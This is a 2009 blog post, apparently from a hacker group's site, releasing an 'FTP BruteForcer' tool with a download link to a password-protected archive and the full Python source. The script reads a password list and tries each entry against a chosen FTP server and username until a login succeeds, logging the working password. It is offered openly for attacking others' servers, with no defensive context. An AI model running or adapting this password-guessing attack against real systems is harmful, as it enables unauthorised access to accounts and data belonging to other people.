Wednesday, September 16, 2009

FTP BruteForcer [Released by XyLeM for Attacker Security Crew]

FTP BruteForcer By me (XyLeM) for Attacker Security Crew

Download:
http://hotfile.com/dl/12621601/d378e2e/FTP_BruteForcer.rar.html

Password:
blackhat-teamz

Source Code:
#!usr/bin/python
# If you run it in windows, first line isn't necessary.
# -----------------------------------------------------
# Python FTP Brute Forcer Script ( In Console )
# Author: XyLeM for Attacker Security Crew
# Site: http://blackhat-teamz.blogspot.com/
# Usage : bruteforcer.py [ftp_server] [ftp_user]
#Script reads passwords from dict.txt,
#create a dict.txt in the directory you upload the script.
# -----------------------------------------------------

import ftplib,sys

# Console arguments #
# -----------------------------------------------------
server = sys.argv[1]
user = sys.argv[2]

# Required function for attack log.
# -----------------------------------------------------
def brutelog(passwd,message):
log_file = open('log.txt','a+')
log_file.write("Trying " + passwd + " - " + message)
log_file.close()

# Get word list file's content
# -----------------------------------------------------
myfile = open("dict.txt",'r').read()
passes = myfile.split('\n')

# For loop, for each password, try login FTP server.
# -----------------------------------------------------
for passwd in passes:
ftp = ftplib.FTP(server)
print " trying " + passwd + ""
try:
logon = ftp.login(user,passwd)
if (logon):
brutelog(passwd," SUCCESS! FTP pass : " + passwd + " \n")
print " FTP PASS FOUND! => " + passwd + ".."
ftp.quit()
# successful.. finish the loop.
break
except:
brutelog(passwd,"Wrong password.. \n")
ftp.quit()
#HT ...matasanos


Enjoy, XyLeM

0 comments:

Post a Comment

Whrite a comment